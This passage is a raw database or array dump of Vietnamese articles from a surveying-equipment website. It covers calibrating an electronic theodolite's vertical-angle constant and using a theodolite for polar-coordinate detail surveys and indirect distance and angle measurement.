color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"> Nghiêng ống kính qua phương ngang ở vị trí mặt trái để đọc giá trị góc đứng</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Góc đứng “VR” xuất hiện ở dòng trên màn hình tinh thể lỏng.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn11.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5354 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn11-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn11-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn11.png 487w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Khi ở vị trí mặt trái, ngắm mục tiêu P tùy ý, nằm trong phạm vi 10 độ theo phương ngang.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -VR mang ra giá trị góc đứng của mục tiêu P</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn12.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5355 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn12-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn12-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn12-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn12.png 482w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím (HOLD) lưu giá trị VR vào bộ nhớ</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Giá trị VR lưu giữ hiển thị ở dòng phía bên mà hình tinh thể lỏng, đồng thời VL hiển thị ở dòng dưới.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn13.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5356 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn13-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn13-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn13-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn13.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay ống kính về vị trí mặt phải và ngắm lại mục tiêu P.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Mục tiêu P có góc đứng hiển thị ở dòng dưới</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn14.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5357 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn14-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn14-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn14-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn14.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím (HOLD) lưu giá trị VL vào bộ nhớ</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Hằng số truc đứng hiển thị một giây trên cả 2 góc đứng mặt phải và trái là đưa vào</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn15.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5358 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn15-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn15-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn15-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn15.png 483w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Bù góc đứng được tính bằng một nửa hằng số trục đứng và ghi vào bộ nhớ.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn16.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5359 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn16-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn16-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn16-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn16.png 484w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím khác bên cạnh phím (HOLD) là bỏ qua tiến hành hoạt động này</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Để tiếp tục đặt bù góc trục đứng đến giá trị tốt hơn, bật tắt nguồn.</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Tiến hành hiệu chỉnh khi hằng số tự động trục đứng vượt quá 6′, thông báo “OVER” sẽ xuất hiện trên màn hình và điều khiển quay về bước 2</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn17.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5360 aligncenter" height="66" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn17-300x66.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn17-300x66.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn17.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Hằng số mới sửa sẽ được lưu giữ nguyên vẹn trong bộ nhớ thậm chí khi bật tắt nguồn. Tất cả đo góc đứng sau đó được sửa lại bằng AC mới.</span></span></span></li> </ul> ', 'images' => '20170911075630e672d20fd038cdf903acb9804399e23d.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-09-11', 'modified' => '2025-08-10', 'status' => '1', 'view' => '62562', 'slug' => 'cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '863', 'rght' => '864', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '493', 'name' => 'Một số ứng dụng của máy kinh vĩ trong trắc địa', 'code' => null, 'alias' => 'mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Máy kinh vĩ là <a href="http://tracdiapro.com/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="thiết bị đo đạc">thiết bị đo đạc</a> được dùng phổ biến trong trắc địa. <a href="http://tracdiapro.com/product-category/may-kinh-vi/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="Máy kinh vĩ">Máy kinh vĩ </a> có nhiều chức năng tiện lợi phục vụ cho công tác đo đạc của các kĩ sư trắc địa. Ngoài ra máy kinh vĩ còn có một số chức năng giống với <a href="http://tracdiapro.com/may-toan-dac-dien-tu/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="Máy toàn đạc điện tử">máy toàn đạc điện tử</a>, và có thể dùng thay thế cho các trường hợp cần thiết.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Ngày nay với sự phát triển của khoa học công nghệ hiện đại, <a href="http://tracdiapro.com/may-kinh-vi-dien-tu-la-gi/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="máy kinh vĩ điện tử">máy kinh vĩ điện tử</a> đã ra đời thay cho dòng máy kinh vĩ quang cơ trước đây. Với những thiết kế thông minh và công nghệ cải tiến dòng máy kinh vĩ điện tử đã tạo ra một bước đột phá mới cho ngành đo đạc bản đồ, mang lại hiệu suất cao và những kết quả vô cùng chính xác.</span></span></span></p> ', 'content' => '<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">I. Đo chi tiết bằng phương pháp tọa độ cực.</b></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 1. Đặt máy trên một điểm trạm đo (dọi tâm, cân bằng sơ bộ, cân bằng chính xác).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 2. Định hướng: là việc ngắm ống kính về một trạm đo khác và đưa bàn độ ngang về “00”.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 3. Đo chi tiết: là việc quay máy ngắm đến mia dựng tại các điểm chi tiết (góc ranh, góc đường, góc ngoặt của sông suối…) để thu thập các số liệu về góc và cạnh rồi ghi vào trong sổ đo chi tiết.</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">II. Đo khoảng cách gián tiếp</b></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Khoảng cách đo được từ máy đến mia người ta gọi là </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">khoảng cách trực tiếp, còn khoảng cách giữa hai mia được gọi </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">là khoảng cách gián tiếp.</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Giả sử cần đo khoảng cách giữa 2 điểm dựng mia B và C ta làm </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy tại 1 điểm bất kỳ (A) sao cho có thể ngắm đến </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">các điểm dựng mia (B, C).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm mia dựng tại B và C rồi đo góc “” và đo khoảng cách từ máy đến 2 mia ta được cạnh “b </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">và c” như hình vẽ.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="do khoang cach gian tiep" class="size-full wp-image-7479 alignleft" height="153" sizes="(max-width: 284px) 100vw, 284px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi-115x62.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi-150x81.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png 284w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; margin: 0px 20px 20px 0px !important; float: left !important;" width="284" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính khoảng cách gián tiếp (a) theo công thức:</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7480" height="45" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi1.png" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="277" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">III. Đo góc gián tiếp.</b></span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Góc đo được tại điểm đặt máy người ta gọi là góc đo trực tiếp, còn góc xác định được tại các điểm không đặt máy người ta gọi là góc đo gián tiếp. Giả sử cần xác định 2 góc B và C như hình vẽ ta thực hiện như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy kinh vĩ tại điểm A, dựng mia tại 2 điểm B và C.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm mia dựng tại B và C rồi đo góc “” và đo khoảng cách từ máy đến 2 mia ta được cạnh “b và c” như hình vẽ.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="size-full wp-image-7482 alignleft" height="175" sizes="(max-width: 268px) 100vw, 268px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3-115x75.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3-150x98.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png 268w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; margin: 0px 20px 20px 0px !important; float: left !important;" width="268" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính khoảng cách gián tiếp (a) theo công thức: <a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7481" height="43" sizes="(max-width: 282px) 100vw, 282px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2-150x23.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png 282w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="282" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính góc B và C theo công thức:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" 